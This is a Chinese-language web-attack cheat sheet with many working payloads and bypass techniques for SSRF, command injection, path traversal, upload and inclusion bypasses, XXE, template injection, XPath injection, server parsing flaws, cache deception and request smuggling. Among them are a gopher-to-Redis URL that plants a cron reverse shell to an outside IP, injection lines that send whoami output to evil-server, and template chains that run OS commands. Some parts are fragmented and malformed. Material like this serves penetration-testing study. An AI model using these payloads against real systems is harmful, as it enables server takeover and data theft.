当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。
常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。
如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
比如通过gopher,可以在一个url参数中构造POST或者GET请求,从而达到攻击内网应用的目的。例如可以使用gopher协议对与内网的Redis服务进行攻击,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
除了gopher协议,File协议也是SSRF中常用的协议,该协议主要用于访问本地计算机中的文件,我们可以通过类似 file:///path/to/file
这种格式来访问计算机本地文件。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。例如我们可以通过 file:///d:/1.txt
来访问D盘中1.txt的内容。
一个常用的防护思路是:对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就禁止该次请求。
但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:
有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::]
0000::1
或IPv6的内网域名来绕过过滤。
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
和 example.com
等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
等字符绕过内网限制。
在AWS、Google等云环境下,通过访问云环境的元数据API或管理API,在部分情况下可以实现敏感信息等效果。
命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
||
&&
&
分割|
管道符\r\n
%d0%a0
换行$()
替换curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
sleep
或其他逻辑构造布尔条件<
符号 cat<123
\t
/ %09
${IFS}
其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串a=l;b=s;$a$b
echo "bHM=" | base64 -d
/?in/?s
=> /bin/ls
cat /etc/pass'w'd
cat$x /etc/passwd
>wget\
>foo.\
>com
ls -t>a
sh a
上面的方法为通过命令行重定向写入命令,接着通过ls按时间排序把命令写入文件,最后执行 直接在Linux终端下执行的话,创建文件需要在重定向符号之前添加命令 这里可以使用一些诸如w,[之类的短命令,(使用ls /usr/bin/?查看) 如果不添加命令,需要Ctrl+D才能结束,这样就等于标准输入流的重定向 而在php中 , 使用 shell_exec 等执行系统命令的函数的时候 , 是不存在标准输入流的,所以可以直接创建文件
%0a
/ %0d
/ \n
/ \r
;
&
/ &&
*
0到无穷个任意字符?
一个任意字符[ ]
一个在括号内的字符,e.g. [abcd]
[ - ]
在编码顺序内的所有字符[^ ]
一个不在括号内的字符#&;
,|*?~<>^()[]{}$`目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../
等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。
../
..\
..;/
https://vuln.site.com/files../
\\localhost\c$\windows\win.ini
...//
\u002e
\%e0%40%ae
在进行文件操作相关的API前,应该对用户输入做过滤。较强的规则下可以使用白名单,仅允许纯字母或数字字符等。
若规则允许的字符较多,最好使用当前操作系统路径规范化函数规范化路径后,进行过滤,最后再进行相关调用。
考虑读取可能有敏感信息的文件
用户目录下的敏感文件
.bash_history
.zsh_history
.profile .bashrc
.gitconfig
.viminfo
passwd
应用的配置文件
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
应用的日志文件
/var/log/apache2/access.log
/var/log/nginx/access.log
站点目录下的敏感文件
.svn/entries
.git/HEAD
WEB-INF/web.xml
.htaccess
特殊的备份文件
.swp
.swo
.bak
index.php~
…
Python的Cache
__pycache__\__init__.cpython-35.pyc
有的站点仅仅在前端检测了文件类型,这种类型的检测可以直接修改网络请求绕过。 同样的,有的站点在后端仅检查了HTTP Header中的信息,比如 Content-Type
等,这种检查同样可以通过修改网络请求绕过。
有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示
类型 | 二进制值 |
---|---|
JPG | FF D8 FF E0 00 10 4A 46 49 46 |
GIF | 47 49 46 38 39 61 |
PNG | 89 50 4E 47 |
TIF | 49 49 2A 00 |
BMP | 42 4D |
部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。
php由于历史原因,部分解释器可能支持符合正则 /ph(p[2-7]?|t(ml)?)/
的后缀,如 php
/ php5
/ pht
/ phtml
/ shtml
/ pwml
/ phtm
等 可在禁止上传php文件时测试该类型。
jsp引擎则可能会解析 jspx
/ jspf
/ jspa
/ jsw
/ jsv
/ jtml
等后缀,asp支持 asa
/ asax
/ cer
/ cdx
/ aspx
/ ascx
/ ashx
/ asmx
/ asp{80-90}
等后缀。
除了这些绕过,其他的后缀同样可能带来问题,如 vbs
/ asis
/ sh
/ reg
/ cgi
/ exe
/ dll
/ com
/ bat
/ pl
/ cfc
/ cfm
/ ini
等。
在Windows系统中,上传 index.php.
会重命名为 .
,可以绕过后缀检查。 也可尝试 index.php%20
, index.php:1.jpg
index.php::$DATA
等。 在Linux系统中,可以尝试上传名为 index.php/.
或 ./aa/../index.php/.
的文件
在php执行的过程中,除了主 php.ini
之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini
中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini
加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif
。
有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。
另外,Waf和Web系统对 boundary
的处理不一致,可以使用错误的 boundary
来完成绕过。
有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。
Apache可根据是否允许重定向考虑上传.htaccess
内容为
AddType application/x-httpd-php .png
php_flag engine 1
就可以用png或者其他后缀的文件做php脚本了。
上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果。
常见的文件包含漏洞的形式为
考虑常用的几种包含方式为:
file=.htaccess
?file=../../../../../../../../../var/lib/locate.db
?file=../../../../../../../../../var/log/apache/error.log
/proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
include
include_once
require
require_once
常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式
如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过
?
*
等?
#
可能会影响include包含的结果几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4。
Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。
msdn定义 #define MAX_PATH 260
,其中第260个字符为字符串结尾的 \0
,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。
获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255
那么在长度有限的时候,././././
(n个) 的形式就可以通过这个把路径爆掉
在php代码包含中,这种绕过方式要求php版本 < php 5.2.8
allow_url_fopen=On
且 allow_url_include=On
, payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
的形式allow_url_include=On
,payload为 ?file=php://input
的形式?file=php://filter/convert.base64-encode/resource=index.php
的形式?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
的形式,要求 allow_url_include=On
allow_url_fopen
和 allow_url_include
主要是针对 http
ftp
两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。
XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。
XML 文档在开头有 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。
除了可选的开头外,XML 语法主要有以下的特性:
另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
]>
<data>&file;data>
]>
<data>4data>
]>
<catalog>
<core id="test101">
<description>&xxe;description>
core>
catalog>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml">xi:include>data>
模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。
{{ 7+7 }} => 14
{{ "ajin" }} => ajin
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
${7*7}
{{7*7}}
{php}echo
id;{/php}
$eval('1+1')
{% import module %}
{% import os %}{{ os.popen("whoami").read() }}
{{ config }}
{{ config.items() }}
{{get_flashed_messages.__globals__['current_app'].config}}
{{''.__class__.__mro__[-1].__subclasses__()}}
{{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
{{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}
__class__
python中的新式类(即显示继承object对象的类)都有一个属性 __class__
用于获取当前实例对应的类,例如 "".__class__
就可以获取到字符串实例对应的类
__mro__
python中类对象的 __mro__
属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。
__globals__
保存了函数所有的所有全局变量,在利用中,可以使用 __init__
获取对象的函数,并通过 __globals__
获取 file
os
等模块以进行下一步的利用
__subclasses__()
python的新式类都保留了它所有的子类的引用,__subclasses__()
这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。
因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__()
方法就可以获取想要的类的对象。
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
params = {
'clas': '__class__',
'mr': '__mro__',
'subc': '__subclasses__'
}
data = {
"data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)
XPath注入攻击是指利用XPath解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。
XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明 XPath注入攻击的实现原理。
在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找user表中的用户名 (username)和密码(password)的结果来进行授权访问,
例存在user.xml文件如下:
<users>
<user>
<firstname>Benfirstname>
<lastname>Elmorelastname>
<loginID>abcloginID>
<password>test123password>
user>
<user>
<firstname>Shlomyfirstname>
<lastname>Gantzlastname>
<loginID>xyzloginID>
<password>123testpassword>
user>
则在XPath中其典型的查询语句为: //users/user[loginID/text()='xyz'and password/text()='123test']
但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' 和 password = '123test'
,则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''='
的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码://users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']
这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。
逻辑漏洞是指由于程序逻辑不严导致一些逻辑分支处理错误造成的漏洞。
在实际开发中,因为开发者水平不一没有安全意识,而且业务发展迅速内部测试没有及时到位,所以常常会出现类似的漏洞。
位数过低
字符集小
为常用密码
个人信息相关
使用键盘模式做密码
/xx.asp;.jpg
;
号及其后面的内容,相当于截断。/xx.asp/xx.jpg
(xx.asp目录下任意解析)xx.asa
xx.cer
xx.cdx
在Fast-CGI开启状态下,在文件路径后加上 /xx.php
,即 xx.jpg/xx.php
会被解析为php文件。
Windows不允许空格和点以及一些特殊字符作为结尾,创建这样的文件会自动重命名,所以可以使用 xx.php[空格]
, xx.php.
, xx.php/
, xx.php::$DATA
上传脚本文件。
在支持NTFS 8.3文件格式时,可利用短文件名猜解目录文件。其中短文件名特征如下:
~1
,其中数字部分是递增的,如果存在前缀相同的文件,则后面的数字进行递增。IIS 8.0之前的版本支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,需要安装ASP.NET。而IIS 8.0之后的版本只能通过OPTIONS和TRACE方法猜测成功,但是没有ASP.NET的限制。
这种方法的局限性在于:
这种方法可以通过命令 fsutil behavior set disable8dot3 1
关闭NTFS 8.3文件格式的支持来修复。
test.php.x1.x2.x3
( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析
当AllowOverride被启用时,上传启用解析规则的.htaccess
AddType application/x-httpd-php .jpg
php_value auto_append_file .htaccess
#
配置 Options +Indexes
时Apache存在目录遍历漏洞。
%0A
绕过上传黑名单。
xx.jpg/xx.php
在Fast-CGI关闭的情况下, Nginx 仍然存在解析漏洞: 在文件路径(xx.jpg)后面加上 %00.php
, 即 xx.jpg%00.php
会被当做 php 文件来解析
在Fast-CGI开启状态下,在文件路径后加上 /xx.php
,则 xx.jpg/xx.php
会被解析为php文件
a.jpg\x20\x00.php
如果配置中存在类似 location /foo { alias /bar/; }
的配置时,/foo../
会被解析为 /bar/../
从而导致目录穿越的发生。
配置中 autoindex on
开启时,Nginx中存在目录遍历漏洞。
网站通常都会通过如CDN、负载均衡器、或者反向代理来实现Web缓存功能。通过缓存频繁访问的文件,降低服务器响应延迟。
例如,网站 htttp://www.example.com
配置了反向代理。对于那些包含用户个人信息的页面,如 http://www.example.com/home.php
,由于每个用户返回的内容有所不同,因此这类页面通常是动态生成,并不会在缓存服务器中进行缓存。通常缓存的主要是可公开访问的静态文件,如css文件、js文件、txt文件、图片等等。此外,很多最佳实践类的文章也建议,对于那些能公开访问的静态文件进行缓存,并且忽略HTTP缓存头。
Web cache攻击类似于RPO相对路径重写攻击,都依赖于浏览器与服务器对URL的解析方式。当访问不存在的URL时,如 http://www.example.com/home.php/non-existent.css
,浏览器发送get请求,依赖于使用的技术与配置,服务器返回了页面 http://www.example.com/home.php
的内容,同时URL地址仍然是 http://www.example.com/home.php/non-existent.css
,http头的内容也与直接访问 http://www.example.com/home.php
相同,cacheing header、content-type(此处为text/html)也相同。
当代理服务器设置为缓存静态文件并忽略这类文件的caching header时,访问 http://www.example.com/home.php/no-existent.css
时,会发生什么呢?整个响应流程如下:
http://www.example.com/home.php/no-existent.css
;http://www.example.com/home.php
的内容(通常来说不会缓存该页面);home.php
,将返回的内容作为 non-existent.css
保存。攻击者欺骗用户访问 http://www.example.com/home.php/logo.png?www.myhack58.com
,导致含有用户个人信息的页面被缓存,从而能被公开访问到。更严重的情况下,如果返回的内容包含session 标识、安全问题的答案,或者csrf token。这样攻击者能接着获得这些信息,因为通常而言大部分网站静态资源都是公开可访问的。
漏洞要存在,至少需要满足下面两个条件:
http://www.example.com/home.php/non-existent.css
不存在的页面,会返回 home.php
的内容。防御措施主要包括3点:
http://www.example.com/home.php/non-existent.css
这类不存在页面,不返回 home.php
的内容,而返回404或者302。Paypal在未修复之前,通过该攻击,可以获取的信息包括:用户姓名、账户金额、信用卡的最后4位数、交易数据、emaill地址等信息。 受该攻击的部分页面包括:
https://www.paypal.com/myaccount/home/attack.css
https://www.paypal.com/myaccount/settings/notifications/attack.css
https://history.paypal.com/cgi-bin/webscr/attack.css?cmd=_history-details
。HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇 文章 中被提出。
请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-Length
和 Transfer-Encoding
标头。
Content-Length
头,后端服务器使用 Transfer-Encoding
头Transfer-Encoding
标头,后端服务器使用 Content-Length
标头。Transfer-Encoding
标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length
头,不进行处理。例如下面这个例子:
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n
前端服务器处理了 Content-Length
,而后端服务器没有处理 Content-Length
,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。
根据RFC 7230,当服务器收到的请求中包含两个 Content-Length
,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length
值时,就会出现漏洞。例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n
。
CL-TE指前端服务器处理 Content-Length
这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length
,处理 Transfer-Encoding
。例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n
。
TE-CL指前端服务器处理 Transfer-Encoding
请求头,而后端服务器处理 Content-Length
请求头。例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
TE-TE指前后端服务器都处理 Transfer-Encoding
请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding
,测试例如:
POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n